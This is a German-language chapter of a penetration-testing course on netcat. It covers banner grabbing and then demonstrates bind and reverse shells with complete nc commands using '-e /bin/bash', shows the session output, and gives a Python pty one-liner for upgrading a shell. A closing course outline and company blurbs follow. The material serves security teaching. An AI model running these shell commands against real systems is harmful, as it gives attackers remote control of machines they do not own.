Tool-Vorstellung: netcat
Nachdem wir jetzt offene Ports bzw. erreichbare Dienste auf einem Zielsystem identifizieren können, können wir auch mit diesen kommunizieren. In den meisten Fällen existieren hierfür schon spezifische Tools. Nehmen wir beispielsweise den TCP-Port 22. Dieser ist bei der IANA (Internet Assigned Numbers Authority) registriert und für SSH standardisiert. Auf einem Debian könnte dafür beispielsweise das Paket openssh-client installiert werden, welches die Tools ssh und scp bereitstellt. Hierbei möchten wir anmerken, dass die standardisierten Ports nur als Vereinbarung gelten und nicht zwangsläufig für die entsprechenden Dienste genutzt bzw. reserviert werden müssen. Im Umkehrschluss bedeutet dies, dass unser o. g. SSH-Server auch über jeden anderen Port erreichbar sein könnte.
Wie können wir aber mit uns nicht bekannten Diensten kommunizieren bzw. wie identifizieren wir überhaupt einen Dienst auf einem Port? Hierfür möchten wir das Tool netcat (nc) vorstellen, welches Daten von der Standardein- oder ausgabe über Netzwerkverbindungen transportiert. Wie wir im Nachfolgenden noch feststellen werden, trägt es seinen Namen Swiss Army Knife zu Recht. Im Allgemeinen bietet netcat zwei Operationsmodi – es kann sowohl als Client oder als Server fungieren, wie die folgenden Befehlszeilen zeigen:
- Server: nc -l -p ${Port}
- Client: nc ${Zielserver} ${Zielport}
Mit diesem Wissen liegt es nahe, bei offenen Ports einfach eine Verbindung mit netcat aufzubauen, um mögliche serverseitige Daten zu erhalten. Zur Veranschaulichung wurde mit netcat exemplarisch eine Verbindung zu dem Zielsystem 10.250.53.33 und dem TCP-Port 1035 aufgebaut. Dieser antwortete mit SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3, was als das zugehörige Software-Banner interpretiert werden kann.
~$ nc 10.250.53.33 1035
SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3
Wir sind also in der Lage, mit netcat zu jedem Dienst eine Verbindung aufzubauen und durch den serverseitigen Response Informationen über den Dienst und dessen Version zu erhalten. Diese Technik wird als banner grabbing bezeichnet. Hierbei sollte jedoch beachtet werden, dass ein Server nicht unbedingt Daten versenden muss. Analog zu TCP können wir mittels netcat auch Datagramme über UDP versenden und wollen hierfür wieder auf die Manpage verweisen (→ man nc).
Mithilfe von netcat können wir aber nicht nur Verbindungen zu Diensten aufbauen, sondern auch die I/O von lokalen Programmen eines Rechners über ein Netzwerk übertragen. Aber warum sollte diese Funktion für uns als Angreifer von Interesse sein? Hierfür müssen wir uns nur kurz an unser eigentliches Ziel erinnern: die vollständige Übernahme bzw. Kompromittierung des Zielsystems. Und welches lokale Programm könnte uns mehr Befehlsgewalt über ein System geben als eine Shell bzw. das Terminal selbst? Sind wir somit in der Lage, durch eine beispielsweise vorausgegangene Sicherheitslücke X einen Befehl auszuführen, können wir dank netcat eine sog. bind- oder reverse shell erhalten.
Wie der Name bind shell schon andeutet, öffnen wir auf dem Zielsystem einen Port und leiten die Ein- und Ausgabe einer Shell, bspw. die bash, dahingehend um. Für eine Befehlsausführung müssen wir uns jetzt nur noch von unserer Angreifermaschine aus mit dem entfernten Port verbinden:
Angreifer:
~$ nc 10.250.53.33 4444
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Zielsystem:
www-data@otrs:~$ nc -lvp 4444 -e /bin/bash
listening on [any] 4444 ...
10.20.1.14: inverse host lookup failed: Host name lookup failure
connect to [10.250.53.33] from (UNKNOWN) [10.20.1.14] 59252
Im Gegensatz zur bind shell öffnen wir bei einer reverse shell einen Port auf unserer Angreifermaschine und bauen im zweiten Schritt eine Verbindung vom Zielsystem zu uns auf. Hierbei wird die I/O einer Shell bzw. des Terminals mit dem Socket verbunden. Wie bereits zuvor können wir dann wieder Befehle an unser Zielsystem senden:
Angreifer:
~$ nc -lvp 4444
listening on [any] 4444 ...
10.250.53.33: inverse host lookup failed: Unknown host
connect to [10.20.1.14] from (UNKNOWN) [10.250.53.33] 59805
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Zielsystem:
www-data@otrs:~$ nc 10.20.1.14 4444 -e /bin/bash
Interaktive Reverse-Shell während einer netcat-Sitzung mit Python
Eine Reverse-Shell mit netcat ist nicht interaktiv. Dadurch können Tools wie sudo, mysql, su etc. nicht oder nur eingeschränkt genutzt werden. Wenn Python auf dem Zielrechner installiert ist, kann ein Terminal einfach innerhalb der netcat-Session simuliert werden:
python -c 'import pty; pty.spawn("/bin/bash")'
Pentest Training
Werfen Sie einen Blick auf die Kapitel vom Pentest Training und lernen Sie Pentesting:
- Vorwort
- Einführung
- Rechtliche Rahmenbedingungen
- Hacking vs. Penetration-Testing
- Klassifizierung
- Aussagekraft von Penetrationstest
- Penetration-Testing-Standards
- Der Hacking-Leitfaden
- Hacking I: Scannen von Netzwerken
- Hacking II: Passwortangriffe
- Hacking III: Webanwendungsangriffe
- Hacking IV: Privilegienausweitung
- Hacking V: Tunnel-Techniken
- Hacking VI: Vulnerability-Scanner und Penetration-Testing-Frameworks
- Vorführung eines Pentests
- Risikobewertung von identifizierten Schwachstellen
- Aufbau Dokumentation und Berichterstellung
- Plauderei aus dem Nähkästchen: Insights von Dubius Payment Ltd.
binsec academy GmbH - Online IT Security Training with Practical Focus
Die binsec academy GmbH ist ein Anbieter von praxisorientierten Online-Trainings im Bereich IT-Sicherheit. Das Schulungsangebot umfasst unter anderem Penetration Testing und sichere Softwareentwicklung. Die Teilnehmer lernen in realitätsnahen Laborumgebungen, die typische IT-Infrastrukturen und Anwendungen simulieren. Die Kurse beinhalten anerkannte Standards wie den OWASP Top 10 und PCI DSS und sind in mehreren Programmiersprachen verfügbar. Nach erfolgreichem Abschluss erhalten die Teilnehmenden Zertifikate wie den Binsec Academy Certified Pentest Professional (BACPP) oder den Binsec Academy Certified Secure Coding Professional (BACSCP), die ihre praktischen Fähigkeiten zur Erkennung und Behebung von Sicherheitslücken belegen.
Gehe zu binsec acadmy GmbH

binsec GmbH – Experten für Penetrationstests
Die binsec GmbH ist ein deutsches IT-Sicherheitsunternehmen mit Schwerpunkt auf professionellen Penetrationstests. Mit über 10 Jahren Erfahrung führt das Team tiefgehende Sicherheitsprüfungen von Netzwerken, Webanwendungen, APIs und mobilen Apps durch. Zertifizierte Experten identifizieren und dokumentieren systematisch Sicherheitslücken, um Unternehmen dabei zu unterstützen, ihre IT-Sicherheit zu verbessern und Compliance-Anforderungen zu erfüllen.
Gehe zu binsec GmbH